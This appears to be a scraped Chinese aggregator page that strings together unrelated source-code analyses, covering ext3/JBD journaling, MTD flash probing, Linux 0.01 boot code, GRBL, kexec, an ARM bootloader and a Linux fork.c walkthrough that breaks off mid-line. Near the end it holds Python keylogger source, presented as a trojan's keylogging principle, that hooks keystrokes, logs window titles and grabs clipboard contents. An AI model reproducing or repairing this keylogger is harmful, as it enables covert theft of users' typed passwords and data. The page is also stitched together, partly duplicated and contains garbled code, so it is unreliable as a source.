journal block device _jbd_源代码分析
Linux 内核2.4版源代码分析大全
4.4.4 如何使传统管理方式依然有效
4.4.5 内核实现综述
4.4.6 核心结构与变量
4.4.7 devfs节点注册函数
4.4.8 编写采用devfs的设备驱动程序
4,5 块设备的请求队列
4.5.1 相关结构及请求队列的初始化
4.6.1 构造ioctl命令字
4.6.2 ioctl的实现过程
4.6.3 ioctl的上层处理函数
4.6.4 ioctl的底层处理函数
4.7 I/O端口的资源分配与操作
4.7.1 I/O端口概述
4.7.2 Linux系统中的I/O空间分配
4.7.3 端口操作函数
4.9.4 设备的使用
4.9.5 驱动程序编写实例
4.10 块设备驱动程序的实现
4.10.1 设备功能
4.10.2 编写块设备的函数接口fops
4.10.3 设备接口注册与初始化
第5章 Linux系统初始化
5.1 系统引导
1,13 系统调用
1.13.1 与系统调用有关的数据结构和
函数
1.13.2 进程的系统调用命令是如何转换为
INT0x80中断请求的
1.13.3 系统调用功能模块的初始化
1.13.4 Linux内部是如何分别为各种系统
调用服务的
4.1.2 与外设的数据交流方
4.1.3 字符设备与块设备
4.1.4 主设备号和次设备号
4.1.5 本章内容分配
4.2 设备文件
4.2.1 基本设备文件的设备访问流程
4.2.2 设备驱动程序接口
4.2.3 块设备文件接口
Linux ext3
Linux ext3在Red Hat Linux 7.2版中,Red Hat首次支持了日志文件系统的ext3文件系统。
该文件系统是在ext2文件系统的基础上进行了改进,是使用了日志功能的ext2文件系统加强版。
ext3文件系统为ext2文件系统共享了所的磁盘设备,并添加了向ext2文件系统转换的能力。
ext3基于ext2的代码,所以它的磁盘格式和ext2的相同,这意味着一个干净卸载的ext3文件系统可以作将ext2文件系统毫无问题地重新挂装。
ext3文件系统和ext2文件系统都使用相同的元数据,因而有可能执行ext2文件系统到ext3文件系统的现场升级,从ext2文件系统升级到ext3只需要短短的几分钟。
1.日志(Journaling)日志块设备层(JBD,Journaling block device layer)完成ext3文件系统日志功能。
JBD不是ext3文件系统所特有的,它的设计目标是为了向一个块设备添加日志功能。
当一个修改执行时,ext3文件系统代码将通知JBD,称为一个事务(transaction)。
如果在事务执行时突然断电或出现其他情况导致事务终止,日志功能具有的重放功能,能重新执行中断的事务。
日志中有三种数据模式:第一种模式:data=writeback。
在这种模式里ext3文件系统根本不处理任何形式的日志数据(如XFS、JFS和ReiserFS)。
尽管事实上它提供有限的数据完整性并能摧毁用户最近修改的文件,但这种模式能给用户整体上的最高性能。
第二种模式:data=ordered,在这种模式下ext3文件系统只记录元数据日志,但它将元数据和数据分组成一个单元称为事务(transaction)。
这种模式保持数据的可靠性与文件系统一致性,这意味着在系统崩溃后,用户不会在新近写入的文件中看到任何垃圾数据。
总体来说这种模式的性能远远低于data=writeback模式,但却比data=journal模式快很多。
ext3_JBD_文档
Ext3文件系统1 Ext3文件系统简介Ext3一种日记式文件系统。
日记文件系统会把系统对磁盘文件系统的更改第一一一记录在日记文件中,然后再更新到磁盘上。
在由某种原因(例如down机等)而致使文件系统显现不一致的情形下,能够通过重放(replay)日记文件来恢复文件系统的一致性。
Ext3是直接从Ext2文件系统进展过来的,采纳了Ext2文件系统的磁盘数据布局,实现了对Ext2的完全兼容。
依照写入日记的内容和数据刷新时刻的不同,Ext3可支持三个不同的日记格式:Journal模式,ordered模式和writeback模式。
1.1Ext3日记模式第一介绍元数据的概念,在Ext2 和 Ext3中,有六种元数据,别离是:超级块,块组描述符,节点,间接块,数据位图。
可见,元数据记录了数据的改变。
Ext3既能够只对元数据做日记,也能够同时对文件数据块做日记。
具体来讲,Ext3提供以下三种日记模式:日记(Journal )文件系统所有数据和元数据的改变都记入日记。
这种模式减少了丢失每一个文件所作修改的机遇,可是它需要很多额外的磁盘访问。
例如,当一个新文件被创建时,它的所有数据块都必需复制一份作为日记记录。
这是最平安和最慢的Ext3日记模式。
预定(Ordered )只有对文件系统元数据的改变才记入日记。
但是,Ext3文件系统把元数据和相关的数据块进行分组,以便把元数据写入磁盘之前写入数据块。
如此,就能够够减少文件内数据损坏的机遇;例如,确保增大文件的任何写访问都完全受日记的爱惜。
这是缺省的Ext3 日记模式。
写回(Writeback )只有对文件系统元数据的改变才记入日记;这是在其改日记文件系统发觉的方式,也是最快的模式1.2日记块设备(JBD)Ext3 文件系统本身不处置日记,而是利用日记块设备(Journaling Block Device)或叫JBD 的通用内核层。
Ext3文件系统挪用JDB例程以确保在系统万一显现故障时它的后续操作可不能损坏磁盘数据结构。
JBD源代码分析
一、 前言——为什么要写这篇文章...............................................................................3 二、 提出问题——jbd 要解决什么问题........................................................................4 三、 解决问题——jbd 是如何解决的............................................................................5
1. 将对文件系统的某些操作抽象成原子操作.......................................................5 2. 将若干个原子操作组合成一个事务...................................................................5 3. 在磁盘上单独划分一个日志空间.......................................................................5 4. 将内存中事务的数据写到日志中.......................................................................6 5. 崩溃吧,然后我们从日志中恢复数据...............................................................6 四、 介绍几个概念——
转: MTD源代码分析(四)
转:MTD源代码分析(四)转:MTD源代码分析(四)/drivers/mtd/chips子目录/drivers/mtd/chips下文件的主要功能是探测MTD,该目录下文件是chipreg.c、gen_probe.c、cfi_probe.c、jedec_probe.c、cfi_cmdset_0001.c、cfi_cmdset_0002.c、map_rom.c、map_ram.c、map_absent.c、amd_flash.c、jedec.c和sharp.c,下面介绍每个文件的功能为了确定一个Flash是否是一个CFI使能的flash memory器件,首先要往Flash的地址0x55H写入数据0x98H,然后从Flash的地址0x10H处开始连续读取3个存储单元中的内容,如果数据总线返回的3个存储单元的字符分别为'Q','R'和'Y',那么该器件是一个CFI使能的Flash。
在识别Flash为CFI使能器件后,通过查询命令来读取CFI查询结构,这些数据的地址和含义在cfi_ident.h文件中。
探测CFI接口Flash设备的程序在文件cfi_probe.c中,这些设备的类型为“cfi_probe”。
也可以用JEDEC(电子电器设备联合会)标准设备模仿CFI接口,探测JEDEC设备的程序在jedec_probe.c中,JEDEC设备的类型为“jedec_probe”。
CFI 设备和JEDEC设备都要用到gen_probe.c文件。
不同的制造商使用不同的命令集,目前Linux的MTD实现的命令集有AMD/Fujitsu的标准命令集和Intel/Sharp的扩展命令集(兼容Intel/Sharp标准命令集)两个,这两个命令集分别在cfi_cmdset_0002.c和cfi_cmdset_0001.c中实现。
此外还有一些非CFI标准的Flash,其中“jedec”类型的Flash的探测程序在jedec.c中,“sharp”类型的Flash的探测程序在sharp.c中“amd_flash”类型的Flash的探测程序在amd_flash.c中。
Linux0.01内核源代码及注释
Bootsect.s(1-9)!! SYS_SIZE is the number of clicks (16 bytes) to be loaded.! 0x3000 is 0x30000 bytes = 196kB, more than enough for current! versions of linux ! SYS_SIZE 是要加载的节数(16 字节为1 节)。
0x3000 共为1 2 3 4 5 60x7c000x00000x900000x100000xA0000system 模块代码执行位置线路0x90200! 0x30000 字节=192 kB(上面Linus 估算错了),对于当前的版本空间已足够了。
!SYSSIZE = 0x3000 ! 指编译连接后system 模块的大小。
参见列表1.2 中第92 的说明。
! 这里给出了一个最大默认值。
!! bootsect.s (C) 1991 Linus Torvalds!! bootsect.s is loaded at 0x7c00 by the bios-startup routines, and moves! iself out of the way to address 0x90000, and jumps there.!! It then loads 'setup' directly after itself (0x90200), and the system! at 0x10000, using BIOS interrupts.!! NOTE! currently system is at most 8*65536 bytes long. This should be no! problem, even in the future. I want to keep it simple. This 512 kB! kernel size should be enough, especially as this doesn't contain the! buffer cache as in minix!! The loader has been made as simple as possible, and continuos! read errors will result in a unbreakable loop. Reboot by hand. It! loads pretty fast by getting whole sectors at a time whenever possible.!! 以下是前面这些文字的翻译:! bootsect.s (C) 1991 Linus Torvalds 版权所有!! bootsect.s 被bios-启动子程序加载至0x7c00 (31k)处,并将自己! 移到了地址0x90000 (576k)处,并跳转至那里。
GRBL源代码分析
GRBL源代码分析GRBL是一种开源的嵌入式数控运动控制软件,广泛应用于DIY桌面CNC机器人和3D打印机中。
以下是对GRBL源代码的详细分析,主要包括代码结构、主要功能模块和算法。
首先,GRBL的代码结构采用了面向对象的编程风格,主要分为核心模块、通信模块、插补模块和硬件驱动模块等。
核心模块是GRBL的主要模块,其中包含了程序的初始化、主循环、处理程序等。
这些代码负责将用户输入的G代码进行解析,并转换为控制机器运动的指令。
核心模块还包含了状态机,用于管理机器的状态和控制流程。
通信模块负责与外部环境进行通信,包括接收和发送数据。
GRBL支持通过串口和USB进行通信,这些代码负责处理接收到的指令,并将执行结果返回给用户。
插补模块是GRBL的一个重要模块,负责计算机器的运动轨迹。
GRBL 使用的是简化的线性插值算法,通过计算每个步进电机的速度和加速度来实现平滑的运动控制。
硬件驱动模块是GRBL的底层驱动代码,用于与硬件进行通信。
GRBL 支持多种不同型号的Arduino开发板和步进电机驱动器,这些代码负责与硬件进行交互,控制机器的运动。
GRBL的主要功能模块包括直线插补、圆弧插补、坐标变换和速度控制等。
直线插补模块负责计算两个点之间的直线轨迹。
GRBL使用简单的直线插值算法,按照每个步进电机的速度和加速度进行计算,实现平滑的直线运动。
圆弧插补模块负责计算两个点之间的圆弧轨迹。
GRBL使用Bresenham 算法来近似计算圆弧的插值点,然后按照直线插值的方法进行计算,实现平滑的圆弧运动。
坐标变换模块负责将用户指定的坐标系转换为机器的坐标系。
GRBL 支持多种坐标系,包括绝对坐标系和相对坐标系,在坐标变换模块中进行转换。
速度控制模块负责计算机器的速度和加速度。
GRBL使用梯形速度曲线来控制机器的加速和减速,通过调整速度和加速度参数,可以实现不同的运动效果。
总结起来,GRBL是一款功能强大的嵌入式数控运动控制软件,具有稳定性高、代码结构清晰、功能丰富等特点。
Linux内核调试机制源代码分析
kimage_entry_t *entry; kimage_entry_t *last_entry; unsigned long destination; unsigned long start; struct page *control_code_page; struct page *swap_page; unsigned long nr_segments; struct kexec_segment segment[KEXEC_SEGMENT_MAX]; /*段数组*/ struct list_head control_pages; struct list_head dest_pages; struct list_head unuseable_pages; /* 分配给崩溃内核的下一个控制页的地址*/ unsigned long control_page; /* 指定特殊处理的标识*/ unsigned int type : 1; #define KEXEC_TYPE_DEFAULT 0 #define KEXEC_TYPE_CRASH 1 unsigned int preserve_context : 1; };
内核 kexec 接口函数说明如下:
extern void machine_kexec(struct kimage *image); /*启动内核映像*/ extern int machine_kexec_prepare(struct kimage *image); /*建立内核映 像所需要的控制页*/ extern void machine_kexec_cleanup(struct kimage *image); extern asmlinkage long sys_kexec_load(unsigned long entry, unsigned long nr_segments, struct kexec_segment __user *segments, unsigned long flags); /*装 载内核的系统调用*/ extern int kernel_kexec(void); /*启动内核*/
JBD源代码分析
1. 将对文件系统的某些操作抽象成原子操作.......................................................5 2. 将若干个原子操作组合成一个事务...................................................................5 3. 在磁盘上单独划分一个日志空间.......................................................................5 4. 将内存中事务的数据写到日志中.......................................................................6 5. 崩溃吧,然后我们从日志中恢复数据...............................................................6 四、 介绍几个概念——名正然后言顺.........................................................................
ext3_JBD_文档
Ext3文件系统1 Ext3文件系统简介Ext3一种日志式文件系统。
日志文件系统会把系统对磁盘文件系统的更改首先一一记录在日志文件中,然后再更新到磁盘上。
在由某种原因(例如down机等)而导致文件系统出现不一致的情况下,可以通过重放(replay)日志文件来恢复文件系统的一致性。
Ext3是直接从Ext2文件系统发展过来的,采用了Ext2文件系统的磁盘数据布局,实现了对Ext2的完全兼容。
根据写入日志的内容和数据刷新时间的不同,Ext3可支持三个不同的日志格式:Journal模式,ordered 模式和writeback模式。
1.1Ext3日志模式首先介绍元数据的概念,在Ext2 和 Ext3中,有六种元数据,分别是:超级块,块组描述符,节点,间接块,数据位图。
可见,元数据记录了数据的改变。
Ext3既可以只对元数据做日志,也可以同时对文件数据块做日志。
具体来说,Ext3提供以下三种日志模式:日志(Journal )文件系统所有数据和元数据的改变都记入日志。
这种模式减少了丢失每个文件所作修改的机会,但是它需要很多额外的磁盘访问。
例如,当一个新文件被创建时,它的所有数据块都必须复制一份作为日志记录。
这是最安全和最慢的Ext3日志模式。
预定(Ordered )只有对文件系统元数据的改变才记入日志。
然而,Ext3文件系统把元数据和相关的数据块进行分组,以便把元数据写入磁盘之前写入数据块。
这样,就可以减少文件内数据损坏的机会;例如,确保增大文件的任何写访问都完全受日志的保护。
这是缺省的Ext3 日志模式。
写回(Writeback )只有对文件系统元数据的改变才记入日志;这是在其他日志文件系统发现的方法,也是最快的模式1.2日志块设备(JBD)Ext3 文件系统本身不处理日志,而是利用日志块设备(Journaling Block Device)或叫JBD 的通用内核层。
Ext3文件系统调用JDB例程以确保在系统万一出现故障时它的后续操作不会损坏磁盘数据结构。
Bootloader代码分析
Bootloader代码分析代码分析报告(一)Bootloader代码分析1.第一部分功能:关闭中断,进入ARM状态,切换到SVC模式(复位异常进入SVC 模式)。
MRS r0, cpsr把状态寄存器CPSR中数据读入r0 寄存器。
BIC r0, r0, #MASK_MODE(MASK_MODE = 0x0000003F)把 r0 寄存器的低6位清零。
(把Thumb状态为清零,回到ARM状态)ORR r0, r0, #MODE_SVC32(MODE_SVC32 = 0x00000013)把r0 寄存器的低5置为 10011(SVC模式)。
ORR r0, r0, #I_BIT(I_BIT = 0x80)把r0 寄存器的第8位置1(关闭中断状态位)。
ORR r0, r0, F_BIT(F_BIT = 0x40 )把r0 寄存器的第7位置1(关闭快速中断状态位)。
MSR cpsr_c, r0把r0 寄存器的低8位存储进CPSR寄存器的低8位。
自此进入ARM状态,切换到SVC模式,关闭中断和快速中断。
LDR r2, = ARM7_INTMASKASIC_BASE EQU 0x03ff0000ARM7_INTMASK EQU (ASIC_BASE+0x4008)ARM7_INTMASK = 0x03ff4008把0x03ff4008存入r2 寄存器。
ASIC_BASE 是SYSCFG寄存器的第16位到第25位,是指S3C4510b中特殊寄存器的启始地址。
SYSCFG寄存器复位时缺省值是0x37ff ff91。
SYSCFG寄存器的第16位到第25位的值是0x 3ff。
ARM7_INTMASK EQU (ASIC_BASE+0x4008)中断模式寄存器:控制中断源的掩码。
偏移地址0x4008。
ARM7_INTMASK 就是中断模式寄存器的寻址地址。
ARM7_INTMASK = 0x03ff4008第21位是全局模式位:置1时断开所有中断源。
Python告诉你木马程序的键盘记录原理
Python告诉你木马程序的键盘记录原理# -*- coding: utf-8 -*-from ctypes inportimport pythoncomimport pyHookimport win32clipboarduser32 = er32kernel32 = windll.kernel32psapi = windll.psapicurrent_window = Notedef get_current_process():#获取最上层的窗句柄hwnd = user32.GetForegroundWindow()#获取进程IDpid = c_ulong(0)user32. GetwindowThreadProcessId(hwnd,byref(pid))#将进程ID存入变量中process_ = "%d" % pid.value#申请内存executable = create_string_buffer(" 00"*522)h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)psapi.GetModuleBaseNameA(h_process,None,byref(executa ble),512)#读取窗口标题windows_title = create_string_buffer(" 00",512)length = user32.GetWindowTextA(hwnd,byref(windows.title),512) #打印printprint"[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.v alue)print#关闭handleskernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)#关闭键盘监听事件函数def KeyStroke(event):global current_window#检测目标窗口是否转移(换了其他窗口就监听新窗口)if event,WindowName !=current_window:current_window = event.WindowName#函数调用get_current_process()#检测击键是否常规按键(非组合键等)if event.Ascii>32 and enent .Ascii <127 :print chr(event.Ascii),else:#如果发现ctrl + V事件,就粘贴板内容记录下来if event.Key == "V"win32clipboard.OpenClipdoard()pasted_value = win32clipdoard. GetClipdoardData()win32clipdoard.CloseClipboard()print "[PASTE]-%s" %(pasted_value),else:print "[%s]" %event.Key,循环监听下一个事件return True#创建并注册hook管理器kl = pyHook.HookManager() kl.KeyDown = KeyStroke#注册hook并兴趣kl.hookKeyboard() pythoncom.PumpMessages()。
chap3.3 文件管理扩展知识
步骤2. 创建 ext2 文件系统
$ mke2fs –c /dev/loop0 10000 mke2fs 1.35 (28-Feb-2004) max_blocks 1024000, rsv_groups = 1250, rsv_gdb = 39 Filesystem label= OS type: Linux Block size=1024 (log=0) Fragment size=1024 (log=0) 2512 inodes, 10000 blocks 500 blocks (5.00%) reserved for the super user ... $
步骤3. 创建挂装点并挂装文件系统
$ mkdir /mnt/point1 $ mount -t ext2 /dev/loop0 /mnt/point1 $ ls /mnt/point1 lost+found $
步骤4. 在循环文件系统中创建一个新的循环文件系 统
$ dd if=/dev/zero of=/mnt/point1/file.img bs=1k count=1000 1000+0 records in 1000+0 records out $ losetup /dev/loop1 /mnt/point1/file.img $ mke2fs -c /dev/loop1 1000 mke2fs 1.35 (28-Feb-2004) max_blocks 1024000, rsv_groups = 125, rsv_gdb = 3 Filesystem label= ... $ mkdir /mnt/point2 $ mount -t ext2 /dev/loop1 /mnt/point2 $ ls /mnt/point2 lost+found $ ls /mnt/point1 file.img lost+found
dd命令的源代码
dd命令的源代码dd命令是一个常见的Linux命令,用于执行块设备之间的拷贝。
它可以从一个位置复制数据,并将其写入另一个位置。
dd命令的源代码是基于C语言编写的,下面是对其源代码的解析和说明。
```c#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <fcntl.h>#include <sys/types.h>#include <sys/stat.h>int main(int argc, char *argv[]) {int input_fd, output_fd; // 输入和输出文件描述符int read_bytes, write_bytes; // 读取和写入的字节数char buffer[4096]; // 缓冲区大小为4096字节// 检查命令行参数的有效性if (argc != 3) {fprintf(stderr, "Usage: %s <input_file> <output_file>\n", argv[0]);exit(1);}// 打开输入文件input_fd = open(argv[1], O_RDONLY);if (input_fd == -1) {perror("Error opening input file");exit(1);}// 打开输出文件output_fd = open(argv[2], O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);if (output_fd == -1) {perror("Error opening output file");exit(1);}// 拷贝数据while ((read_bytes = read(input_fd, buffer, sizeof(buffer))) > 0) {write_bytes = write(output_fd, buffer, read_bytes);if (write_bytes != read_bytes) {perror("Error writing to output file");exit(1);}}// 关闭文件和退出程序close(input_fd);close(output_fd);exit(0);}```上述源代码是dd命令的基本实现。
readdeviceblock读取数据实例
读取设备块数据是在编程中常见的操作,它可以帮助我们获取特定设备块中存储的数据,从而实现对设备的监控、控制和管理。
在本文中,我们将深入讨论readdeviceblock读取数据的实例,以帮助读者更好地理解这一概念。
1. 什么是readdeviceblock读取数据实例在编程中,readdeviceblock是一个常用的函数或方法,用于从设备的特定存储块中读取数据。
通过这个方法,我们可以获取设备存储的各种信息,比如温度、湿度、压力等,从而实现对设备状态的实时监控和数据的实时获取。
readdeviceblock读取数据的实例就是指在特定的场景下,如何使用这一方法来实现数据的获取和处理。
2. readdeviceblock读取数据的应用场景readdeviceblock读取数据方法可以在各种设备控制和管理的场景中得到应用。
举例来说,可以用它来监控工业生产中的温度、压力等参数,或者用于智能家居系统中获取室内环境的数据。
在物联网应用中,readdeviceblock读取数据也扮演着重要的角色,帮助实现设备之间的数据交互和信息传递。
3. readdeviceblock读取数据的实例操作下面我们以一个智能家居系统为例,来介绍readdeviceblock读取数据的实例操作。
在这个系统中,我们需要获取室内环境的温度和湿度数据,以便实现智能温控和湿度控制。
我们需要确保系统已经连接了传感器设备,并且这些设备已经进行了初始化和配置。
我们可以使用readdeviceblock方法来读取传感器设备存储块中的温度和湿度数据。
通过这一操作,我们可以获取到实时的室内环境数据,并进行相应的处理和控制。
4. 结论与展望通过上述的readdeviceblock读取数据实例操作,我们可以清晰地了解到这一方法在实际应用中的作用和意义。
它为我们提供了一种获取设备信息和数据的途径,为智能控制和管理系统的实现提供了重要支持。
未来,随着物联网和智能化技术的发展,readdeviceblock读取数据方法将得到更广泛的应用,为我们的生活和工作带来更多便利和智能化的体验。
重大社2023《嵌入式内核与驱动设计》教学课件36
02
gendisk结构表示一个磁盘设备,其中有几个成员很重要。 major为磁盘设备的主设备号。 first_minor为磁盘的第一个次设备号。 minors为磁盘的次设备号数量,也就是磁盘的分区数量,这些分区的主设备号一样,次设备号不同。 part_tbl为磁盘对应的分区表,为结构体disk_part_tbl类型,disk_part_tbl的核心是一个hd_struct结构体指 针数组,此数组每一项都对应一个分区信息。 fops为块设备操作集,为block_device_operations结构体类型。和字符设备操作集file_operations一样, 是块设备驱动中的重点! queue为磁盘对应的请求队列,所以针对该磁盘设备的请求都放到此队列中,驱动程序需要处理此队列中 的所有请求。
每天成长一点点
06
块设备驱动的主要步骤: 1.注册一个块设备
register_blkdev函数 2.分配并初始化gendisk
alloc_disk函数 3.分配并初始化请求队列
blk_init_queue函数 4.添加(注册)disk 5.请求处理函数的处理
每天成长一点点
《嵌入式内核与驱_device_operations结构体: 和字符设备的 file _operations 一样,块设备也有操作集,为结构体 block_device_operations, 此结构体定义在 include/linux/blkdev.h 中。 重要的成员: open函数:用于打开指定的块设备。 release函数:用于关闭(释放)指定的块设备。 rw_page函数:用于读写指定的页。 ioctl函数:用于块设备的 I/O 控制。 compat_ioctl函数和 ioctl 函数一样:都是用于块设备的 I/O 控制。区别在于在 64位系统上,32 位应用程序 的 ioctl 会调用 compat_iotl 函数。在 32 位系统上运行的 32 位应用程序调用的就是 ioctl 函数。 getgeo函数:用于获取磁盘信息,包括磁头、柱面和扇区等信息。 owner:表示此结构体属于哪个模块,一般直接设置为 THIS_MODULE。
SBD原理及代码分析
作者:谷锎(gushenbusi@)时间:2010-11-15原理简析Sbd设备需要在开始阶段初在SAN(包括iscsi)始化一个target或lun。
写入下面信息Header存放公共数据。
Slot 对应自己一个mbox。
可以认为slot是集群主机在sbd device的地址,mbox是邮箱。
每个地址对应一个单独的邮箱。
共有255个地址和邮箱。
Header slot mbox都占一个sector。
所以sbd至少需要512个sector的大小。
当主机启用SBD deamon(调用watch命令)。
主机就会启用watchdog,直到自身重启或收到message exit。
启动SBD deamon时会给当前主机重新分配一个slot。
并清空信箱。
Deamon轮训查看自己信箱中的命令然后响应这些操作。
响应的操作包括:Reset:向/proc/sysrq-trigger写入b让主机重新启动。
即使操作不成功会等待两倍喂狗时间,让watchdog重新启动。
Off:向/proc/sysrq-trigger写入o让主机关机。
即使操作不成功会等待两倍喂狗时间,让watchdog重新启动。
Exit:关闭watchdogTest:收到消息后迅速制空信箱。
(对ping命令的响应,其他节点看到迅速制空,知道该节点能够ping通)信箱中的信息由message命令填入。
当填入命令时,会在邮箱中写入寄信人。
(寄信人没有实际作用)fence分析对于一个节点来说被fence存在两种可能。
1.收到message后响应-(收到消息)-------------- -------调用do_reset(void)2.无法读取自己mbox(和共享存储断开)----------- 调用do_reset(void)do_reset(void) 调用sysrq_trigger(char t) 向里面写b重启。
如果失败的话sleep双倍喂狗时间。
靠watchdog来重新启动。
内存屏障机制及内核相关源代码分析-part1
内存屏障机制及内核相关源代码分析分析人:余旭分析版本:Linux Kernel 2.6.14 来自于:分析开始时间:2005-11-17-20:45:56分析结束时间:2005-11-21-20:07:32编号:2-1 类别:进程管理-准备工作1-内存屏障Email:yuxu9710108@版权声明:版权保留。
本文用作其他用途当经作者本人同意,转载请注明作者姓名All Rights Reserved. If for other use,must Agreed By the writer.Citing this text,please claim the writer's name.Copyright (C) 2005 YuXu*************************************************************内存屏障是Linux Kernel中常要遇到的问题,这里专门来对其进行研究。
一者查阅网上现有资料,进行整理汇集;二者翻阅Linux内核方面的指导书,从中提炼观点;最后,自己加以综合分析,提出自己的看法。
下面将对个问题进行专题分析。
*****************************************************************************------------------------------------------------------ 专题研究:内存屏障-----------------------------------------------------------------------------------------论坛众人资料汇集分析---------------------------set_current_state(),__set_current_state(),set_task_state(),__set_task_state(),rmb(),wmb(),mb()的源代码中的相关疑难问题及众人的论坛观点:-----------------------------------------------------------------------------------------------------------------1.--->ymons 在 Linux内核技术论坛发贴问:set_current_state和__set_current_state的区别?#define __set_current_state(state_value) \do { current->state = (state_value); } while (0)#define set_current_state(state_value) \set_mb(current->state, (state_value))#define set_mb(var, value) do { var = value; mb(); } while (0)#define mb() __asm__ __volatile__ ("" : : : "memory")在linux的源代码中经常有这种设置当前进程状态的代码,但我搞不清楚这两种用法的不同?有哪位大虾指点一二,必将感谢不尽!------------------2.---> chyyuu(chenyu-tmlinux@) 在的Linux内核技术上发贴问:在kernel.h中有一个define/* Optimization barrier *//* The "volatile" is due to gcc bugs */#define barrier() __asm__ __volatile__("": : :"memory")在内核许多地方被调用,不知到底是生成什么汇编指令????请教!!!--------------------3.--->tigerl 02-12-08 10:57 在的Linux内核技术提问:这一句(include/asm-i386/system.h中)定义是什么意思?#define mb() __asm__ __volatile__ ("lock; addl $0,0(%%esp)": : :"memory")4.--->jackcht 01-03-02 10:55 在 Linux内核技术 :各位大虾,我在分析linux的时候发现有一个古怪的函数,就是barrier,俺愣是不知道它是干嘛用的,帮帮我这菜鸟吧,感谢感谢!还有就是下面这句中的("":::"memory")是什么意思呀,我苦!# define barrier() _asm__volatile_("": : :"memory")***********************************众人的观点*******************************ANSWER:1.jkl Reply:这就是所谓的内存屏障,前段时间曾经讨论过。
【实验】linux源代码分析实验报告格式
【关键字】实验Linux的fork、exec、wait代码的分析指导老师:景建笃组员:王步月张少恒完成日期:一、设计目的1.通过对Linux的fork、exec、wait代码的分析,了解一个操作系统进程的创建、执行、等待、退出的过程,锻炼学生分析大型软件代码的能力;2.通过与同组同学的合作,锻炼学生的合作能力。
二、准备知识由于我们选的是题目二,所以为了明确分工,我们必须明白进程的定义。
经过查阅资料,我们得知进程必须具备以下四个要素:1、有一段程序供其执行。
这段程序不一定是进程专有,可以与其他进程共用。
2、有起码的“私有财产”,这就是进程专用的系统堆栈空间3、有“户口”,这就是在内核中有一个task_struct结构,操作系统称为“进程控制块”。
有了这个结构,进程才能成为内核调度的一个基本单位。
同时,这个结构又是进程的“财产登记卡”,记录着进程所占用的各项资源。
4、有独立的存储空间,意味着拥有专有的用户空间:进一步,还意味着除前述的系统空间堆栈外,还有其专用的用户空间堆栈。
系统为每个进程分配了一个task_struct结构,实际分配了两个连续的物理页面(共8192字节),其图如下:对这些基本的知识有了初步了解之后,我们按老师的建议,商量分工。
如下:四、小组成员以及任务分配1、王步月:分析进程的创建函数fork.c,其中包含了get_pid和do_fork get_pid,写出代码分析结果,并画出流程图来表示相关函数之间的相互调用关系。
所占工作比例35%。
2、张少恒:分析进程的执行函数exec.c,其中包含了do_execve。
写出代码分析结果,并画出流程图来表示相关函数之间的相互调用关系。
所占工作比例35% 。
3、余波:分析进程的退出函数exit.c,其中包含了do_exit、sys_wait4。
写出代码分析结果,并画出流程图来表示相关函数之间的相互调用关系。
所占工作比例30% 。
五、各模块分析:1、fork.c一)、概述进程大多数是由FORK系统调用创建的.fork能满足非常高效的生灭机制.除了0进程等少数一,两个进程外,几乎所有的进程都是被另一个进程执行fork系统调用创建的.调用fork的进程是父进程,由fork创建的程是子进程.每个进程都有一个父进程.而一个进程可以有多个子进程.父进程创建一个子进程完成一定的工作时,往往希望子进程结束后,还要把控制权交给父进程,因此子进程不应把父进程覆盖掉.fork系统调用创建子进程的做法,是把自己复制给子进程,也就是说,新创建的子进程是父进程的一个副本.继而子进程通过exec系统调用,用一个新的程序来覆盖子进程的内存空间,从而执行那个新程序.系统调用exit可以终止一个进程的执行,子进程也常常用exit系统调用来自我终止.子进程终止之后,进入僵死(zombie)状态,父进程可通过执行wait系统调用来实现与子进程的终止同步,接受子进程的返回状态和返回参数.二)、代码分析int do_fork(unsigned long clone_flags, unsigned long stack_start,struct pt_regs *regs, unsigned long stack_size){int retval;unsigned long flags;struct task_struct *p;struct completion vfork;if ((clone_flags & (CLONE_NEWNS|CLONE_FS)) == (CLONE_NEWNS|CLONE_FS)) return -EINV AL;retval = -EPERM;/* 将retval赋值-ENOMEM,作为task_struct结构申请失败时的返回值*/ if (clone_flags & CLONE_PID) {/* 若clone_flags的位是置位的*//* 若调用do_fork的当前(父)进程不是idle进程(其pid=0)*/if (current->pid)goto fork_out;}retval = -ENOMEM;/*返回错误信息*/p = alloc_task_struct(); /* 申请一个新的task_struct结构*/if (!p)goto fork_out;*p = *current;/* 将当前(父)进程task_struct结构值赋给新创建的(子)进程*/p->tux_info = NULL;p->cpus_allowed_mask &= p->cpus_allowed;retval = -EAGAIN;/* 若子(新)进程所属的用户拥有的进程数已达到规定的限制值,* 则跳转至bad_fork_fre */?if (atomic_read(&p->user->processes) >= p->rlim[RLIMIT_NPROC].rlim_cur&& !capable(CAP_SYS_ADMIN) && !capable(CAP_SYS_RESOURCE)) goto bad_fork_free;/* user->__count增一,user->processes(用户拥有的进程数)增一*/atomic_inc(&p->user->__count);atomic_inc(&p->user->processes);/* 若系统进程数超过最大进程数则跳转至bad_fork_cleanup_count */if (nr_threads >= max_threads)goto bad_fork_cleanup_count;get_exec_domain(p->exec_domain);/* 若正在执行的代码是符合iBCS2标准的程序,则增加相对应模块的引用数目*//* 若正在执行的代码属于全局执行文件结构格式则增加相对应模块的引用数目*/ if (p->binfmt && p->binfmt->module)__MOD_INC_USE_COUNT(p->binfmt->module);p->did_exec = 0;/* 将子进程标志为尚未执行*/p->swappable = 0; /* 清标志,使内存页面不可换出*/p->state = TASK_UNINTERRUPTIBLE;/* 将子进程的状态置为uninterruptible */ copy_flags(clone_flags, p);/* 将clone_flags略加修改写入p->flags */p->pid = get_pid(clone_flags);/* 调用kernel/fork.c:get_pid()为子进程分配一个pid. 若是clone系统调用且* clone_flags中CLONE_PID位为1,那么父子进程共享一个pid号;否则要分配给子进* 程一个从未用过的pid */if (p->pid == 0 && current->pid != 0)goto bad_fork_cleanup;/* 对运行队列接口初始化*/INIT_LIST_HEAD(&p->run_list);p->p_cptr = NULL;init_waitqueue_head(&p->wait_chldexit);/* 初始化wait_chldexit等待队列wait_chldexit用于在进程结束时,或发出* 系统调用wait4后,为了等待子进程结束,而将自己(父进程)睡眠在该队列上*/ p->vfork_done = NULL;if (clone_flags & CLONE_VFORK) {p->vfork_done = &vfork;init_completion(&vfork);}spin_lock_init(&p->alloc_lock);p->sigpending = 0;init_sigpending(&p->pending);p->it_real_value = p->it_virt_value = p->it_prof_value = 0;p->it_real_incr = 